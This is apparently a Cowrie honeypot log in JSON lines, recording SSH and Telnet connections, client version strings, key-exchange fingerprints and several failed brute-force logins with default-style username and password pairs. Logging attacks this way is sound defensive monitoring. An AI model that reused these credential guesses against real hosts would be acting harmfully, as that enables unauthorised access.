{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:36.821280Z","src_ip":"120.48.147.111","session":"28a92096b266","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":40438,"dst_ip":"159.203.135.109","dst_port":23,"session":"056911480764","protocol":"telnet","message":"New connection: 206.130.127.38:40438 (159.203.135.109:23) [session: 056911480764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:38.903882Z"}
{"eventid":"cowrie.session.closed","duration":30.678606748580933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:40.056576Z","src_ip":"206.130.127.38","session":"9c63e7835e39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":35478,"dst_ip":"159.203.135.109","dst_port":23,"session":"09f3384e59c8","protocol":"telnet","message":"New connection: 80.65.211.42:35478 (159.203.135.109:23) [session: 09f3384e59c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:43.335124Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":45206,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae8c9ae28b06","protocol":"telnet","message":"New connection: 206.130.127.38:45206 (159.203.135.109:23) [session: ae8c9ae28b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:44.147213Z"}
{"eventid":"cowrie.session.closed","duration":120.00164937973022,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:44.431138Z","src_ip":"157.49.80.15","session":"6d77ae4d21aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":45488,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf51a05891b3","protocol":"telnet","message":"New connection: 206.130.127.38:45488 (159.203.135.109:23) [session: bf51a05891b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:44.503979Z"}
{"eventid":"cowrie.session.closed","duration":30.331815004348755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:45.040043Z","src_ip":"154.53.41.252","session":"adb008ac51ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":47272,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbcef7f3e2ef","protocol":"telnet","message":"New connection: 206.130.127.38:47272 (159.203.135.109:23) [session: fbcef7f3e2ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:47.048540Z"}
{"eventid":"cowrie.session.closed","duration":31.678200244903564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:48.020308Z","src_ip":"80.65.211.42","session":"92ddd4311e33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":42782,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed0cdcc67097","protocol":"ssh","message":"New connection: 80.94.92.184:42782 (10.17.0.5:22) [session: ed0cdcc67097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:48.184805Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.64.169.153","src_port":57475,"dst_ip":"10.17.0.5","dst_port":22,"session":"57781b0b119f","protocol":"ssh","message":"New connection: 49.64.169.153:57475 (10.17.0.5:22) [session: 57781b0b119f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:48.233226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:48.237749Z","src_ip":"49.64.169.153","session":"57781b0b119f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:48.262849Z","src_ip":"80.94.92.184","session":"ed0cdcc67097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:48.362964Z","src_ip":"80.94.92.184","session":"ed0cdcc67097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:48.462990Z","src_ip":"49.64.169.153","session":"57781b0b119f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123@","message":"login attempt [solana/123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:49.173058Z","src_ip":"80.94.92.184","session":"ed0cdcc67097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":49050,"dst_ip":"159.203.135.109","dst_port":23,"session":"b04654d3cea1","protocol":"telnet","message":"New connection: 206.130.127.38:49050 (159.203.135.109:23) [session: b04654d3cea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:49.381345Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q@123456","message":"login attempt [ubuntu/q@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:49.395282Z","src_ip":"49.64.169.153","session":"57781b0b119f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:50.426818Z","src_ip":"80.94.92.184","session":"ed0cdcc67097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00128412246704,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:52.091669Z","src_ip":"157.49.80.15","session":"991e359ac49f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":10092,"dst_ip":"10.17.0.5","dst_port":23,"session":"006d000fe1a8","protocol":"telnet","message":"New connection: 157.49.80.15:10092 (10.17.0.5:23) [session: 006d000fe1a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:52.755453Z"}
{"eventid":"cowrie.session.closed","duration":31.378178596496582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:55.865648Z","src_ip":"206.130.127.38","session":"4f99287185b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":48854,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4912f6071f6","protocol":"ssh","message":"New connection: 41.63.62.103:48854 (10.17.0.5:22) [session: a4912f6071f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:56.140904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:56.254017Z","src_ip":"41.63.62.103","session":"a4912f6071f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:56.514580Z","src_ip":"41.63.62.103","session":"a4912f6071f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"invite","message":"login attempt [guest/invite] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:57.660686Z","src_ip":"41.63.62.103","session":"a4912f6071f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:58.998477Z","src_ip":"41.63.62.103","session":"a4912f6071f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.664757251739502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:59.033983Z","src_ip":"206.130.127.38","session":"944de71d1e34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.04591250419617,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:00.092756Z","src_ip":"80.65.211.42","session":"3ac29dc43c3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":57182,"dst_ip":"159.203.135.109","dst_port":23,"session":"18bf2803b8ef","protocol":"telnet","message":"New connection: 206.130.127.38:57182 (159.203.135.109:23) [session: 18bf2803b8ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:00.433161Z"}
{"eventid":"cowrie.session.closed","duration":30.888245344161987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:01.868321Z","src_ip":"80.65.211.42","session":"dc589f774c4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.235","src_port":64346,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2a70d81d19f","protocol":"ssh","message":"New connection: 198.235.24.235:64346 (10.17.0.5:22) [session: d2a70d81d19f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:03.078213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:04.119422Z","src_ip":"198.235.24.235","session":"d2a70d81d19f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:05.095642Z","src_ip":"198.235.24.235","session":"d2a70d81d19f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":33970,"dst_ip":"159.203.135.109","dst_port":23,"session":"3450a714b52e","protocol":"telnet","message":"New connection: 206.130.127.38:33970 (159.203.135.109:23) [session: 3450a714b52e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:07.978907Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":35388,"dst_ip":"159.203.135.109","dst_port":23,"session":"44af7035bfce","protocol":"telnet","message":"New connection: 206.130.127.38:35388 (159.203.135.109:23) [session: 44af7035bfce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:09.102599Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":55518,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef56eaea1718","protocol":"telnet","message":"New connection: 80.65.211.42:55518 (159.203.135.109:23) [session: ef56eaea1718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:09.294379Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":39168,"dst_ip":"159.203.135.109","dst_port":23,"session":"8321ee844dfe","protocol":"telnet","message":"New connection: 45.95.113.26:39168 (159.203.135.109:23) [session: 8321ee844dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:09.500819Z"}
{"eventid":"cowrie.session.closed","duration":30.676665544509888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:09.580303Z","src_ip":"206.130.127.38","session":"056911480764","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.95.153.122","src_port":29528,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f8ff28d4a9a","protocol":"ssh","message":"New connection: 182.95.153.122:29528 (10.17.0.5:22) [session: 4f8ff28d4a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:11.844606Z"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:12.898476Z","src_ip":"198.235.24.235","session":"d2a70d81d19f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":39410,"dst_ip":"159.203.135.109","dst_port":23,"session":"d37e45938f17","protocol":"telnet","message":"New connection: 206.130.127.38:39410 (159.203.135.109:23) [session: d37e45938f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:14.621378Z"}
{"eventid":"cowrie.session.closed","duration":30.517385244369507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:15.021270Z","src_ip":"206.130.127.38","session":"bf51a05891b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.102455854415894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:15.249568Z","src_ip":"206.130.127.38","session":"ae8c9ae28b06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.146459341049194,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:15.481477Z","src_ip":"80.65.211.42","session":"09f3384e59c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":41132,"dst_ip":"159.203.135.109","dst_port":23,"session":"277d342127cf","protocol":"telnet","message":"New connection: 206.130.127.38:41132 (159.203.135.109:23) [session: 277d342127cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:17.335334Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":41354,"dst_ip":"159.203.135.109","dst_port":23,"session":"35c054da8be8","protocol":"telnet","message":"New connection: 206.130.127.38:41354 (159.203.135.109:23) [session: 35c054da8be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:17.633697Z"}
{"eventid":"cowrie.session.closed","duration":31.563284873962402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:18.611672Z","src_ip":"206.130.127.38","session":"fbcef7f3e2ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":43262,"dst_ip":"159.203.135.109","dst_port":23,"session":"692a78638361","protocol":"telnet","message":"New connection: 80.65.211.42:43262 (159.203.135.109:23) [session: 692a78638361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:18.822195Z"}
{"eventid":"cowrie.session.closed","duration":30.65040135383606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:20.031663Z","src_ip":"206.130.127.38","session":"b04654d3cea1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":43316,"dst_ip":"159.203.135.109","dst_port":23,"session":"032326de6383","protocol":"telnet","message":"New connection: 206.130.127.38:43316 (159.203.135.109:23) [session: 032326de6383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:20.092820Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":43898,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0cb52d00272","protocol":"telnet","message":"New connection: 206.130.127.38:43898 (159.203.135.109:23) [session: c0cb52d00272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:20.820388Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":44472,"dst_ip":"159.203.135.109","dst_port":23,"session":"50ccf4cd8668","protocol":"telnet","message":"New connection: 206.130.127.38:44472 (159.203.135.109:23) [session: 50ccf4cd8668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:21.690282Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":44748,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e1438386df5","protocol":"telnet","message":"New connection: 206.130.127.38:44748 (159.203.135.109:23) [session: 4e1438386df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:22.144655Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":45450,"dst_ip":"159.203.135.109","dst_port":23,"session":"55ee94fb264e","protocol":"telnet","message":"New connection: 206.130.127.38:45450 (159.203.135.109:23) [session: 55ee94fb264e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:23.255188Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":45782,"dst_ip":"159.203.135.109","dst_port":23,"session":"17aeafe9523c","protocol":"telnet","message":"New connection: 206.130.127.38:45782 (159.203.135.109:23) [session: 17aeafe9523c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:23.670883Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":46060,"dst_ip":"159.203.135.109","dst_port":23,"session":"88098f72b309","protocol":"telnet","message":"New connection: 206.130.127.38:46060 (159.203.135.109:23) [session: 88098f72b309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:24.100690Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":46128,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9142168928c","protocol":"telnet","message":"New connection: 206.130.127.38:46128 (159.203.135.109:23) [session: e9142168928c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:24.192042Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":46424,"dst_ip":"159.203.135.109","dst_port":23,"session":"3475083ee84d","protocol":"telnet","message":"New connection: 206.130.127.38:46424 (159.203.135.109:23) [session: 3475083ee84d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:24.527282Z"}
